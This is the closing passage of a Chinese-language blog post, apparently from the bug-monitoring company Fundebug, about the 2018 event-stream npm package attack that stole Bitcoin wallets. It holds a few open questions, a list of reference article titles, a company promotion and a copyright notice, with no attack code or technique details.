其实，这件事挺有意思的，还有很多问题，比如黑客一共用到了哪些技巧？黑客是怎么被发现的？黑客究竟是谁？如何保证JavaScript与区块链的安全性？以后再说吧...
参考
- Details about the event-stream incident
- event-stream vulnerability explained
- I don't know what to say.
- event-stream dependency attack steals wallets from users of copay
- 月下载量千万的npm包被黑客篡改，Vue开发者可能正在遭受攻击
关于Fundebug
Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java实时BUG监控。 自从2016年双十一正式上线，Fundebug累计处理了9亿 错误事件，得到了Google、360、金山软件、百姓网等众多知名用户的认可。欢迎免费试用！
版权声明
转载时请注明作者Fundebug以及本文地址：
https://blog.fundebug.com/2018/12/03/how-does-javascript-hacker-steal-bitcoin/
